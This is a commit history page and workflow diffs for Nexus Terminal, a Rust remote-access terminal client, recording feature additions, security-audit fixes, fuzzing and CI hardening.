54 Commits
Author SHA1 Message Date
Andy Dixon b6a7d51ddd release: 3.0.1
Bump the workspace to 3.0.1 and bring the user guide up to date: an RDP
chapter, shell integration and inline images, SSH certificates and CAs,
known_hosts import/export, stored credentials and master password change,
profile sync (replacing the Alchementary Link migration chapter), the
Diagnostics tab and log, and refreshed screenshots throughout. The welcome
screen's protocol line now lists RDP.
2026-10-12 20:44:36 +01:00
Andy Dixon e59f0243ba test: RDP through an SSH tunnel, end to end
An opt-in integration test tunnels through the test sshd (direct-tcpip)
to a real RDP server and checks that desktop updates arrive — the
route VNC already used, now verified for RDP (against xrdp).
2026-10-12 19:28:08 +01:00
Andy Dixon 5acb41158c feat: credentials page, master password change and a Diagnostics tab
- Settings → Security lists every profile's stored credentials (kind and
  whether it's in the keychain or the vault; the keychain is probed per
  kind on a background thread since it can't be listed) with Forget.
- Change Master Password re-encrypts every vault entry under a fresh
  salt and key with a new verifier, after checking the current password,
  in one atomic write (Vault::change_password; tested that the old
  password stops working and every value survives).
- Settings → Diagnostics shows version, platform, data/database/log
  paths and sizes, keychain and vault state, counts, sync and launch
  settings, with Copy Diagnostics; it never includes credentials.
  Openable with --open settings:diagnostics.
2026-10-12 19:26:52 +01:00
Andy Dixon 1c590f47ff feat: encrypted profile sync through a shared folder
Profiles can be kept in step across machines through any folder they
share (cloud drive, network share, git checkout): one file,
nexus-profiles.nexus, in the encrypted-export format under a sync
password kept in the keychain/vault. Each sync merges profile by profile
(newest updated_at wins), propagates deletions as dated tombstones (an
edit after a deletion brings the profile back; tombstones expire after
180 days), validates every incoming profile, writes the file only when
it changed, and never syncs credentials.

Settings → Security → Profile sync picks the folder and sets the
password; syncs run at launch, 3 s after a profile change, every 10
minutes and on Sync Now (automatic runs stay quiet unless something
changed). An end-to-end test drives create, edit and delete between two
data directories sharing a folder.
2026-10-12 19:20:12 +01:00
Andy Dixon 32890c6415 feat(irc): SASL PLAIN login and IRCv3 server-time
Registration now opens with CAP LS 302 (servers without IRCv3 ignore it
and register as before). From the offered capabilities (multi-line LS
lists included) the client requests server-time and, when the profile
enables it, sasl; then AUTHENTICATE PLAIN with the account (defaulting
to the nick) and a stored SASL password (irc-sasl-password), base64 in
400-byte chunks, and CAP END on success or failure — failures are shown
on the Server tab and the connection carries on (NickServ still works).
server-time tags stamp events with the server's clock, so replayed
history shows real times.

Tested against the fake IRC server: multi-line LS, REQ/ACK, the PLAIN
exchange, 903, CAP END, and a tagged message's timestamp.
2026-10-12 19:11:16 +01:00
Andy Dixon 0fc9451583 feat: SSH certificates and known_hosts import/export
- Host certificates: certificate authorities are trusted per OpenSSH host
  pattern (stored as @cert-authority known-hosts rows, matched against
  'host' or '[host]:port' as OpenSSH does, with *, ? and !). For a host a
  CA covers, the client asks for a certificate; one signed by a matching
  CA, of host type, naming the host and in date is trusted without a
  first-use prompt, and anything else is refused. Hosts no CA covers keep
  the existing key checks. Applies to jump hosts and tunnels too.
- User certificates: <key>-cert.pub next to the configured private key is
  used for publickey login (falling back to the plain key).
- Settings → Known Hosts: import ~/.ssh/known_hosts (hashed names and
  @revoked lines skipped and counted), export in OpenSSH format, and a
  Trust a CA form.

Verified against OpenSSH sshd with ssh-keygen-issued certificates: host
cert accepted without prompting and user-cert login with only
TrustedUserCAKeys; a CA for other hosts falls back to the key check; a
different CA is refused.
2026-10-12 19:02:59 +01:00
Andy Dixon 1990fb5da9 feat: restore tabs and splits at launch
The tab layout (tab order and names, pins, the active tab, split trees
with their ratios) is saved whenever it changes — checked once a second,
written only on change, so it survives a crash — and reopened at the
next launch: saved profiles reconnect and local shells start in the
directory they were in (on Linux the live /proc cwd, so it isn't one
command behind). Quick Connect tabs and placeholder panes are skipped.
A General setting turns it off; it never runs when launched with
--connect, --run-local or --open, and screenshot runs never save.

Verified: a local tab left in /usr/share came back there with a
'Restored 1 tab(s)' toast.
2026-10-12 18:53:00 +01:00
Andy Dixon 469acb1203 feat: inline images in terminals (iTerm2 OSC 1337)
Images sent with the iTerm2 inline protocol (imgcat and friends) are
decoded (PNG, JPEG, GIF first frame) and drawn at the cursor, sized from
the width/height arguments in cells, pixels or percent (aspect kept,
never wider than the terminal); the cursor moves below so text
continues after them. They are anchored to the same stable line index
as the shell-integration marks, scroll with the text and are dropped
with the scrollback or on clear.

Remote data, so decoding is bounded (8192 px a side, 256 MiB
allocation), OSC bodies are capped at 16 MiB, inline=0 downloads are
ignored, and each terminal keeps at most 32 Mpx of images, oldest
first. Sixel and kitty graphics are not implemented.
2026-10-12 18:47:07 +01:00
Andy Dixon f80fc876dd feat: OSC 8 hyperlinks in terminals
Cells carrying an OSC 8 hyperlink get a dotted underline, and Ctrl/Cmd+
click opens the link. Because a link's text can say anything, hovering
one always shows its real target (and says when it won't be opened).
Both OSC 8 and plain-text URLs now open through the web-only check, so
remote output can't launch file:, ftp: or custom-scheme handlers (plain
text ftp:// links used to be opened).
2026-10-12 18:42:00 +01:00
Andy Dixon 1fcb5fa575 feat: the SFTP browser opens in the shell's current directory (OSC 7)
When the remote shell reports its working directory (OSC 7: fish, or
the bash/zsh hook in the manual), opening the SFTP browser from that
terminal goes there, including when it was already open elsewhere.
Without it the browser still falls back to the exec'd 'pwd' (the login
directory) and then the SFTP home. The File menu entry now goes through
the same request as the toolbar and palette.
2026-10-12 18:40:11 +01:00
Andy Dixon 58cb531e32 feat: shell integration (OSC 133)
Terminals now pick up OSC 133 prompt/command/output/finished marks,
which the VT parser ignores: a scanner (app/src/osc.rs, split-safe
across reads, bodies capped at 4 KiB) finds them in the output stream
and each mark records the cursor line. Lines are stable indexes that
account for lines a full scrollback rotates out, so marks stay on their
text; clearing the scrollback drops them.

With marks present: Ctrl/Cmd+Shift+Up/Down and Previous/Next Prompt in
the context menu jump between prompts, Copy Last Command Output copies
what the last finished command printed, and a green/red bar beside each
prompt shows the exit status (hover for code and duration). OSC 7
working-directory reports are parsed too (used by the next change).
The manual shows bash and zsh snippets; fish 4 and common prompt themes
already send the marks.
2026-10-12 18:38:03 +01:00
Andy Dixon 455d8fa6da feat(rdp): Kerberos logon through a configured KDC
An RDP profile can name a Kerberos KDC; CredSSP then authenticates with
Kerberos instead of NTLM, reaching the KDC through a small TCP client
(RFC 4120 length-prefixed framing, 5 s connect / 10 s read timeouts,
replies capped at 1 MiB so a hostile KDC can't force a huge allocation).
UDP KDCs are refused with a clear message. Tested against a fake KDC
(round trip, oversized reply, UDP); not against a real realm.

Smart-card logon is not implemented: it needs PC/SC hardware and a card
to build and test against.
2026-10-12 18:30:30 +01:00
Andy Dixon ae2b07db4b feat(rdp): RD Gateway transport (experimental)
RDP profiles can go through a Remote Desktop Gateway (MS-TSGU over an
HTTPS WebSocket) with its own username and password, stored like other
credentials (rdp-gateway-password). The gateway stream is bridged to a
loopback socket so the blocking RDP client uses it like any transport.

IronRDP's gateway crate (0.0.1) is vendored with fixes: it used
ironrdp-tls, which accepts any certificate, before sending Basic
credentials — the gateway is now verified against the web PKI; its
asserts on gateway-supplied lengths are errors instead of panics; and
the server port is passed through. Checked against a self-signed
openssl s_server: the connection is refused ('invalid peer certificate')
before any request or credential is sent. Not tested against a real
gateway; Basic-auth gateways only (no NTLM).
2026-10-12 18:26:45 +01:00
Andy Dixon 2fa56e0723 feat(rdp): printer redirection, saved as PostScript
An optional 'Nexus Terminal' printer (IronRDP's PostScript driver
announce) appears on the remote desktop; each job is written to
'Nexus print <time>.ps' in Downloads, with a toast saying where. Jobs
are capped at 256 MiB and empty jobs leave no file. The shared drive and
the printer now share one RDPDR backend (rdp_devices); the printer
works on every platform, the drive on Linux and macOS.

Tested with a unit test driving create/write/close; xrdp has no printer
redirection, so not exercised against a server.
2026-10-12 18:14:31 +01:00
Andy Dixon b798422735 feat(rdp): remote audio and a shared folder redirected as a drive
- Audio: the RDPSND channel with IronRDP's cpal playback backend (PCM;
  Opus left out to avoid another native library). On by default for new
  RDP profiles. Building now needs the ALSA headers on Linux
  (libasound2-dev), added to CI, release and fuzz jobs and the build docs.
- Shared folder (Linux/macOS): one local folder appears on the remote
  desktop as a drive. IronRDP's native backend joins server paths onto
  the share unchecked, so it is wrapped in ConfinedDrive: create, list
  and rename paths with '..' components, NUL bytes, or that resolve
  through a symlink outside the share are refused (ACCESS_DENIED);
  tests cover the escapes.

Verified against xrdp (with FUSE): the remote read the shared file, and
writes, mkdir and rename landed in the local folder. Not verified:
audio playback (the test container has no sound module), and xrdp lists
the drive as 'ignored' and can't list its directories (an IronRDP/xrdp
naming and listing mismatch, fixed upstream for the name).
2026-10-12 18:07:49 +01:00
Andy Dixon 6476ccff28 feat(rdp): text clipboard sharing in both directions
A CLIPRDR channel with a text-only backend (CF_UNICODETEXT): text copied
on the remote desktop is fetched and goes through the app's remote-
clipboard preference like VNC and OSC 52; local text is offered to the
remote when the desktop gains focus, on Ctrl+V and with Paste Clipboard
(which no longer types the text). Backend callbacks run inside the
active stage, so they queue requests that the session loop sends.

Verified against xrdp: the remote X clipboard read back the offered
text, and a remote copy arrived through on_clipboard.
2026-10-12 17:47:22 +01:00
Andy Dixon 4256d45633 test: coverage-guided fuzz targets and a nightly fuzz job
rust/fuzz (cargo-fuzz, nightly, its own workspace with the same IronRDP
patches) has targets for the Telnet IAC parser, the IRC parser + state
machine + mIRC formatter, VNC framebuffer updates and decoders,
~/.ssh/config parsing and the update manifest. They reach the private
parsers through hidden entry points behind nexus-core's 'fuzzing'
feature. A nightly workflow runs each for two minutes and uploads any
crashing input. A first 45 s run of each locally found nothing.
2026-10-12 17:34:45 +01:00
Andy Dixon fda804e3f5 fix: wipe credentials in the connect path and keep release builds out of dumps and debuggers
- Credential callbacks (SecretFn) now return Zeroizing<String>, as do the
  session-only/pending caches they read and the RDP client's password,
  so Nexus's own copies are wiped; a plain String copy is made only
  where a library API needs one (SSH password auth, IRC, VNC, CredSSP).
- Release builds disable core dumps (RLIMIT_CORE 0) and, on Linux, mark
  the process non-dumpable (PR_SET_DUMPABLE 0), which also blocks ptrace
  attach and /proc/<pid>/mem reads by other processes of the same user.
  Debug builds are unchanged so they stay debuggable. Verified on the
  release binary: core limit 0, /proc/<pid>/{environ,mem} root-owned and
  unreadable, local shells (including cwd capture) still work.

Closes the remaining parts of SEC-20261012-007 that the app controls;
egui's internal text buffers remain outside its reach.
2026-10-12 17:19:27 +01:00
Andy Dixon aacd44a275 feat: diagnostic log (tracing)
The app now writes a diagnostic log to nexus.log in the data directory
(0600, rotated at 5 MiB): connection attempts and results, remote
closes, reconnect scheduling, host-key/certificate checks with the
policy applied, and credentials that couldn't be stored (kind only).
Credentials and terminal data are never logged. RUST_LOG sets the level
and also mirrors the log to stderr. The remaining eprintln! diagnostics
in storage and URL handling go through it too.
2026-10-12 17:08:37 +01:00
Andy Dixon 02bd237636 fix: a panic in one session's I/O ends that session cleanly
Every client's reader thread (Telnet/RAW, serial, local shell, IRC, VNC,
RDP) and SSH's channel reader task now run under clients::guarded /
guarded_task. A panic there, such as a decoder bug triggered by a
hostile server, reports 'internal error: …' through the session's
on_error and then closes it, so the tab shows the error (and
auto-reconnect can run) instead of looking connected with nothing
reading. Other sessions were already unaffected since the switch to
parking_lot locks.
2026-10-12 17:05:20 +01:00
Andy Dixon b149fb3b38 refactor: split the session manager into modules
sessions.rs (1 730 lines) becomes sessions/ with mod.rs (types, session
lifecycle, I/O, recording, tests), credentials.rs (secret resolution,
prompts, host-key checks), protocols.rs (SSH, GitHub, IRC, VNC, RDP
connects and SSH tunnels), local.rs (local shells, login scripts) and
extras.rs (per-protocol accessors). Code moves unchanged; helpers that
crossed a module boundary became pub(super).
2026-10-12 16:57:56 +01:00
Andy Dixon 15612a629e fix: a credential or host-key prompt takes Enter and Escape from the modals underneath
Every modal read Enter/Escape globally, so a prompt that popped up over a
dialog, the palette, Quick Connect or an SFTP dialog could be answered
and the modal underneath confirmed or dismissed by the same key press.
All modals except the prompts now read those keys through
chrome::modal_key, which yields while a prompt is on screen.
2026-10-12 16:49:54 +01:00
Andy Dixon d25746bb14 feat: RDP profiles, sessions and viewer
- Protocol::Rdp with RdpConfig (domain, password mode, certificate
  policy, TLS-only fallback, fixed or tab-sized resolution, SOCKS5/HTTP
  proxy, SSH tunnel); migration 008 adds rdp_config and drops the
  protocol CHECK constraint so new protocols no longer need a rebuild.
- Session manager: connect_rdp dials directly, via the shared proxy
  module (proxy password from the secret store) or an SSH tunnel; the
  server certificate goes through the known-hosts check (key type
  rdp-tls); a tab-sized desktop uses the tab's reported pixel size, and
  resizes wait until the server opens Display Control. Rejected NLA
  passwords count as auth failures, so a saved one is asked again.
- The VNC viewer becomes DesktopView for both protocols; a small adapter
  turns its keysyms and pointer masks into RDP scancodes, Unicode keys,
  buttons and wheel events. For RDP, Paste Clipboard types the text.
- Profile editor RDP section, Quick Connect, badges, docs.

Verified against xrdp in the app: logon, desktop, input, and connections
through SOCKS5 and HTTP CONNECT relays. Not verified here: Windows/NLA
servers, the SSH tunnel route, and Display Control resizing (xrdp
0.9.24 never opened the channel).
2026-10-12 11:14:39 +01:00
Andy Dixon 50c0104d57 feat(core): RDP client on IronRDP
clients::rdp connects over any caller-dialled TCP stream (direct, proxy
or SSH tunnel), upgrades to TLS and logs on with NLA (CredSSP/NTLM),
optionally falling back to TLS-only logon for servers without NLA such
as xrdp (credentials are passed so they log straight in). The server
certificate is pinned through a caller check on its SHA256 fingerprint
before any credentials are sent. The desktop decodes into the VNC
client's RGBA framebuffer; input (IronRDP's scancode/Unicode/mouse
operations), Display Control resizes and the deactivation-reactivation
sequence run on the session thread.

IronRDP's releases need three vendored patches (vendor/README.md):
picky and sspi with their RustCrypto release-candidate pins relaxed so
they share russh's stable versions (their own suites, 402 tests, pass
against them), and ironrdp-session with two unreleased upstream bitmap
fixes (#1486 stride, #1524 RDP6 orientation) without which xrdp desktops
render sheared.

Verified live against xrdp (scottyhardy/docker-remote-desktop): logon,
full desktop rendering, keyboard and mouse input.
2026-10-12 10:50:24 +01:00
Andy Dixon 6a4d7381d9 refactor: one blocking SOCKS5/HTTP CONNECT proxy module shared by all TCP clients
SSH's async SOCKS5 and HTTP CONNECT code moves to clients::proxy as a
blocking dialer (SSH runs it on a blocking thread), so RDP and others can
use the same implementation. The proxy handshake now has a read timeout,
and new tests drive both proxy types against fake proxies, including
SOCKS5 username/password auth and a refused HTTP CONNECT (407).
2026-10-12 10:15:36 +01:00
Andy Dixon 4bd12bfb03 test: replace the Go compatibility fixtures with native round-trip tests
The Go-generated link.db, profiles.link and rec1.cast fixtures and the
tests that read them are removed. Their coverage is kept by tests on
data this build writes: a fresh database round-trips SSH profiles (env
vars, login scripts, forwards), serial profiles, IRC room state, known
hosts, snippets and preferences, and encrypted exports round-trip and
reject a wrong password. The import dialog no longer offers .link files
and the docs stop mentioning them.
2026-10-12 10:10:08 +01:00
Andy Dixon 9ebfe57301 fix: refuse vaults without a verifier
Unlock now always checks the verifier, so an empty vault can never
accept a wrong master password and the 'verify against the first entry'
fallback for Go/older vaults is gone. A vault without a verifier is
refused with a message naming the file to remove (SEC-20261012-016).
The Go vault fixture and its test go with it.
2026-10-12 10:08:29 +01:00
Andy Dixon 88c5cca021 refactor: drop the AlchementaryLink keychain fallback and Go's Windows target format
Keychain reads no longer fall back to the AlchementaryLink service and
copy entries forward, and Windows Credential Manager entries use
keyring's own target naming instead of go-keyring's 'service:user'.
Credentials saved by Alchementary Link, or by earlier builds on Windows,
are no longer found and need re-entering.
2026-10-12 10:06:38 +01:00
Andy Dixon d68343365b refactor: drop the Alchementary Link data migration
Startup no longer looks for an AlchementaryLink data directory to copy
into NexusTerminal, and the 'Imported your Alchementary Link data' toast
and the migration docs are gone. Existing Alchementary Link installs are
no longer picked up automatically.
2026-10-12 10:05:07 +01:00
Andy Dixon 672c71e26f fix: proxy passwords and TOTP seeds live only in the secret store
SshConfig no longer has proxyPassword or totpSecret fields, so neither
can sit in clear in nexus.db or travel in an export. The proxy password
is a SecretKind (profile:<id>:proxy-password) edited like other saved
credentials and purged with the profile; the session manager hands both
it and the TOTP seed to the SSH client from the keychain/vault at
connect time.

This drops compatibility with Go-era profiles and .link/.nexus files
that carry these values inline: they are ignored on read and must be
re-entered (SEC-20261012-011).
2026-10-12 10:02:08 +01:00
Andy Dixon 2e11d40034 test: hostile-input tests for the remote-facing parsers
Seeded pseudo-random input, biased towards each parser's control bytes,
is fed to the IRC line parser and state machine (plus mIRC formatting),
Telnet IAC negotiation, VNC framebuffer updates (including ZRLE behind a
real zlib stream, with a check that the decoders are actually reached),
~/.ssh/config parsing and the update manifest. None panic, and Telnet's
pending buffer stays bounded.

These run on stable in every CI run; they are not coverage-guided, so a
cargo-fuzz setup (nightly) remains a possible follow-up.
2026-10-12 09:40:16 +01:00
Andy Dixon 0d0b3a7c75 fix: wipe long-lived credential copies from memory
Session-only credentials (kept for a whole session so reconnects don't
re-prompt), credentials pending until a connection succeeds, and the
credential prompt's text buffer are now Zeroizing and wiped when
dropped, including when a prompt is cancelled or abandoned
(SEC-20261012-007, partial).

Still open: the values handed to the protocol clients are plain Strings
for the duration of authentication, egui keeps its own copies of typed
text, and no mlock/PR_SET_DUMPABLE is applied.
2026-10-12 09:37:23 +01:00
Andy Dixon c6ee9a8f36 fix: macOS local shells no longer run lsof synchronously on every Enter
The working-directory capture (used to restart a local shell where it
left off) ran /usr/sbin/lsof inside write(), so each Enter in a macOS
local tab waited for a subprocess. On macOS the lookup now runs on a
background thread, triggered by the shell's next output after a line is
entered, so it sees the directory after the command; a failed lookup
keeps the last known directory. Linux keeps the cheap /proc readlink
(F10). Not exercised on macOS in this environment.
2026-10-12 09:31:15 +01:00
Andy Dixon 65558d82d1 fix: GitHub refresh reuses commit lookups and caps new ones per refresh
Every refresh looked up the latest commit of every repository (up to
5000), which can exhaust the API's hourly rate limit and then surfaces as
'authentication failed'. Lookups are now cached per repo against its
pushed_at, definite misses (404/409) included, and at most 100 new lookups
run per refresh, most recently pushed first (F13).
2026-10-12 09:24:40 +01:00
Andy Dixon 10f93271cf fix: probe the keychain with a read instead of writing an item at every launch
Startup wrote and deleted a probe item to see whether the keychain works,
waking D-Bus on Linux and risking a Keychain prompt on macOS. A read of a
missing entry answering 'no entry' proves the same; if a later write is
refused anyway, set_checked already falls back to the vault (F11).

Not verified against a live Secret Service or macOS Keychain in this
environment (no secret service here; the probe correctly reports it
unavailable).
2026-10-12 09:21:44 +01:00
Andy Dixon 954bf25dc0 fix: automation answers can come from NEXUS_ANSWERS instead of argv
--answer puts credentials in the process list and shell history.
NEXUS_ANSWERS (one answer per line) is read at startup and removed from
the environment so local shells don't inherit it, and either source now
prints a warning when used outside --screenshot (SEC-20261012-018).
2026-10-12 09:20:31 +01:00
Andy Dixon b325097602 ci: least-privilege token, SHA-pinned actions, cargo audit job
- ci.yml declares permissions: contents: read instead of the default
  token scope.
- Every action is pinned to the commit its current tag points at
  (checkout v4.4.0, upload-artifact v4.6.2, action-gh-release v2.6.2),
  so a moved tag can't change what runs with release write access.
- A cargo audit job runs on every push; the single ignored advisory
  (RUSTSEC-2023-0071, rsa via russh, no fix available) is recorded with
  its rationale in rust/.cargo/audit.toml (SEC-20261012-019, -012).

Release signing and macOS notarisation are not part of this change.
2026-10-12 09:19:57 +01:00
Andy Dixon bd1dc54e20 fix: validate Quick Connect and ~/.ssh/config imports; unknown enum values no longer reset a profile's config
- Quick Connect runs the same validation as saved profiles, so an SSH
  connection without a username fails up front with a clear message (F5).
- ~/.ssh/config imports fill a missing User (and jump-host user) with the
  local user name, as ssh does, and skip blocks that still don't validate,
  reporting how many (F6).
- An unrecognised hostKeyPolicy/lineEnding/parity/flowControl/direction in
  a stored config falls back to that field's default instead of failing
  the whole JSON column and silently resetting every other setting; parse
  failures that remain are logged (F7).
2026-10-12 09:19:03 +01:00
Andy Dixon 3b490fa6c3 fix: redact scripted login passwords from secret-free exports; secret kinds are an enum
- A JSON export without secrets now blanks login-script 'send' steps that
  answer a password-like 'wait' prompt (SSH and Telnet), not just the
  proxy password and inline TOTP seed (SEC-20261012-011, partial).
- Credential kinds were string literals in the session manager, profile
  editor and secret store; they are now SecretKind with one ALL list, so
  the profile-delete purge can't miss a kind (F19).

Moving proxyPassword out of the profile record is left open: it changes
.link/.nexus compatibility with the Go app and needs an owner decision.
2026-10-12 09:16:14 +01:00
Andy Dixon 3843351365 fix: the vault checks the master password even when it holds no secrets
An empty vault accepted any password, so a typo at the first unlock
encrypted later secrets under the wrong key. New vaults store a verifier
(a known value sealed under the key) that every unlock must open. Vaults
from Go or older builds keep today's behaviour and gain a verifier on
their next write; Go ignores the extra field (SEC-20261012-016, F8).
2026-10-12 09:13:34 +01:00
Andy Dixon 4d6595588b fix: bound IRC state, read recording metadata from the file tail, cap the audit log
- IRC: channel state is kept only for rooms the client itself joined, so
  JOIN/PART/KICK/NAMES for other rooms can't grow it; users per channel
  are capped at 10 000 and the view keeps at most 200 conversations,
  dropping the oldest idle query (SEC-20261012-014, F14).
- Recordings: the list reads the header line and the last 64 KiB for the
  duration instead of whole files of up to 250 MiB, falling back to a
  full scan only when the final event is longer than the window
  (SEC-20261012-020, F9).
- Audit log: keeps the newest 10 000 entries (F17).
2026-10-12 09:12:25 +01:00
Andy Dixon f09300fd95 fix: a panic on one thread no longer takes the whole app down
Every shared lock was std::sync::Mutex with lock().unwrap() (~150 sites),
so a panic in any session's reader or callback poisoned the lock and the
next UI frame panicked too, dropping every open session. Locks are now
parking_lot::Mutex (no poisoning; already in the dependency tree), and a
panic hook reports worker panics as an error toast instead of the session
silently stopping (F3, F4).
2026-10-12 09:07:32 +01:00
Andy Dixon afec95bb36 fix: save typed credentials only after the connection succeeds, and re-ask when a saved one is rejected
A password typed at a 'saved' prompt was stored before the server
accepted it, so a typo was persisted and silently retried on every
reconnect. Typed values are now held per attempt and written once the
session connects; when the server refuses a saved credential the next
attempt asks again and the new value replaces it on success. A store
failure (keychain refused, vault locked) now shows a toast instead of
being swallowed, and reconnect prompts wait 5 minutes like the first
connect (SEC-20261012-015, F1, F2, F20).
2026-10-12 09:02:43 +01:00
Andy Dixon 741ee2ec5b fix: draw accented and other non-ASCII glyphs on the same baseline as ASCII text
Non-ASCII cells were centred vertically in the cell while ASCII runs were
top-anchored; the cell height is the row height rounded up, so é, ñ, €,
box-drawing and similar glyphs sat lower than their neighbours (more
visibly at larger sizes and on HiDPI). Combining marks on an ASCII base
(e + U+0301, as macOS filenames use) were also dropped by the ASCII run
path; such cells are now drawn individually with their marks.
2026-10-12 08:59:32 +01:00
Andy Dixon 534310b56d feat: preferences for remote clipboard writes, multi-line paste confirmation and the launch update check
OSC 52 and VNC ServerCutText now go through one handler that honours
'allow remote clipboard' and always toasts the first line, so a silent
clipboard swap can't set up a paste into another shell (SEC-20261012-010).
Multi-line pastes into a terminal without bracketed paste ask first, with a
preview (SEC-20261012-017). The launch-time update check can be turned off
and the updater docs no longer claim it is opt-in; the unused GitHub
fallback is removed (SEC-20261012-013, F15).
2026-10-12 08:57:30 +01:00
Andy Dixon 764208727c Fixed URL 2026-10-12 08:44:31 +01:00
Andy Dixon 082c0f8fa7 ui: more breathing room between a connection's name and user@host in the sidebar 2026-10-12 08:20:40 +01:00
Andy Dixon 33b17223aa feat: changed host keys can be rejected, accepted once, or accepted and updated
Under the 'ask' policy a changed host key used to be a hard error. The
prompt now shows the stored and received fingerprints and offers Reject,
Accept Once (connect, keep the record) and Accept & Update (replace the
record; audited). Unknown keys gain an Accept Once option too. Strict and
accept-new still refuse changed keys without prompting. Known-host rows
written by the old app are confirmed removable by id (test).
2026-10-12 08:19:41 +01:00
Andy Dixon 4b5ffe8e5e Merge branch 'rust-port' into master
Rust port of Nexus Terminal (nexus-core + egui app), security audit fixes
and reconnect credential handling.
2026-10-12 07:57:48 +01:00
Andy Dixon 17a5b4fbb5 fix: keep session-only credentials across reconnects so NickServ re-identifies without re-prompting
The NickServ password (and any other "remember for this session" secret) was
resolved through a fresh per-connect cache, so every auto-reconnect prompted
again with a 60 s timeout and an unanswered prompt failed the reconnect.
Session-only secrets now live on the session, survive auto and explicit
reconnects, and IDENTIFY is sent on every registration as before.
2026-10-12 07:53:03 +01:00
Andy Dixon 55a8295de7 docs: security audit and functionality/next-steps reports (2026-10-12 07:23) 2026-10-12 07:32:25 +01:00
Andy Dixon aac986d78b fix: bound VNC server-announced sizes and only open http(s) links from network data
- The VNC client refuses desktop sizes over 64 Mpx (ServerInit and
  DesktopSize/ExtendedDesktopSize) and ZRLE rectangles over 64 MiB before
  allocating, so a hostile server can't force a multi-gigabyte allocation.
- Release URLs from the update manifest and repository URLs from the GitHub
  API are handed to the system opener only when they are http(s) links.
2026-10-12 07:23:40 +01:00
Andy Dixon 0a18f7e578 fix: generate SSH keys in-process, verify loopback tunnel peer, bound SSH command output
- SSH key pairs are generated with ssh-key (Ed25519/ECDSA P-256/RSA) and
  encrypted in-process, so the passphrase no longer appears as an ssh-keygen
  command-line argument visible in the process list.
- open_tunnel's loopback bridge checks the accepted peer is our own client
  socket, so a local process racing for the ephemeral port can't be spliced
  into the IRC/VNC SSH tunnel.
- run_command caps buffered output at 1 MiB; local-forward abort handles are
  pruned as connections finish; SOCKS5 host/credential lengths over 255 bytes
  are rejected instead of being truncated into a malformed request.
2026-10-12 07:22:31 +01:00
Andy Dixon 9cf221779b fix: purge keychain credentials on profile delete, atomic owner-only secret writes, zeroize derived keys
- Secrets::delete_profile removes every profile credential kind from the OS
  keychain as well as the vault (previously only the vault was purged, so
  keychain passwords/tokens outlived the profile).
- write_private writes to a sibling temp file and renames it into place, so a
  crash mid-write cannot truncate the vault or an export, and a pre-existing
  world-readable file is replaced rather than reused.
- Argon2-derived vault/export keys are Zeroizing and wiped on drop.
- Recordings (which capture typed input), JSON exports and --data-dir
  directories are created owner-only.
2026-10-12 07:20:11 +01:00
366 changed files with 83696 additions and 2286 deletions
+17 -2
View File
@@ -5,6 +5,9 @@ on:
branches: ["**"] branches: ["**"]
pull_request: pull_request:
permissions:
contents: read
jobs: jobs:
test: test:
name: Test (${{ matrix.os }}) name: Test (${{ matrix.os }})
@@ -18,12 +21,24 @@ jobs:
shell: bash shell: bash
working-directory: rust working-directory: rust
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0
- name: Linux dependencies (GUI libs, and sshd for the SSH integration tests) - name: Linux dependencies (GUI libs, and sshd for the SSH integration tests)
if: runner.os == 'Linux' if: runner.os == 'Linux'
run: | run: |
sudo apt-get update sudo apt-get update
sudo apt-get install -y libxkbcommon-dev libgl1-mesa-dev libx11-dev libxcursor-dev libxrandr-dev libxi-dev libwayland-dev libgtk-3-dev openssh-server sudo apt-get install -y libxkbcommon-dev libgl1-mesa-dev libx11-dev libxcursor-dev libxrandr-dev libxi-dev libwayland-dev libgtk-3-dev libasound2-dev openssh-server
- run: cargo test --locked --workspace - run: cargo test --locked --workspace
- run: cargo fmt --all --check - run: cargo fmt --all --check
- run: cargo clippy --locked --workspace --all-targets -- -D warnings - run: cargo clippy --locked --workspace --all-targets -- -D warnings
audit:
name: Dependency audit
runs-on: ubuntu-22.04
defaults:
run:
working-directory: rust
steps:
- uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0
- run: cargo install cargo-audit --locked
# Ignored advisories and their reasons live in rust/.cargo/audit.toml.
- run: cargo audit
+33
View File
@@ -0,0 +1,33 @@
name: Fuzz
on:
schedule:
- cron: "17 3 * * *"
workflow_dispatch:
permissions:
contents: read
jobs:
fuzz:
name: Fuzz (${{ matrix.target }})
runs-on: ubuntu-22.04
strategy:
fail-fast: false
matrix:
target: [telnet, irc, vnc, sshconfig, updater]
defaults:
run:
working-directory: rust/fuzz
steps:
- uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0
- run: sudo apt-get update && sudo apt-get install -y libasound2-dev
- run: rustup toolchain install nightly --profile minimal
- run: cargo +nightly install cargo-fuzz --locked
- run: cargo +nightly fuzz run ${{ matrix.target }} -- -max_total_time=120 -rss_limit_mb=2048
- name: Upload crashing inputs
if: failure()
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
with:
name: fuzz-${{ matrix.target }}
path: rust/fuzz/artifacts
+4 -4
View File
@@ -28,7 +28,7 @@ jobs:
shell: bash shell: bash
working-directory: rust working-directory: rust
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0
with: with:
fetch-depth: 0 fetch-depth: 0
@@ -39,7 +39,7 @@ jobs:
if: runner.os == 'Linux' if: runner.os == 'Linux'
run: | run: |
sudo apt-get update sudo apt-get update
sudo apt-get install -y libxkbcommon-dev libgl1-mesa-dev libx11-dev libxcursor-dev libxrandr-dev libxi-dev libwayland-dev libgtk-3-dev zip sudo apt-get install -y libxkbcommon-dev libgl1-mesa-dev libx11-dev libxcursor-dev libxrandr-dev libxi-dev libwayland-dev libgtk-3-dev libasound2-dev zip
- name: Test - name: Test
run: cargo test --locked --workspace run: cargo test --locked --workspace
@@ -51,7 +51,7 @@ jobs:
run: ./release.sh run: ./release.sh
- name: Upload artefacts - name: Upload artefacts
uses: actions/upload-artifact@v4 uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
with: with:
name: nexus-terminal-${{ matrix.runner }} name: nexus-terminal-${{ matrix.runner }}
path: | path: |
@@ -61,6 +61,6 @@ jobs:
- name: Attach to GitHub Release - name: Attach to GitHub Release
if: startsWith(github.ref, 'refs/tags/') if: startsWith(github.ref, 'refs/tags/')
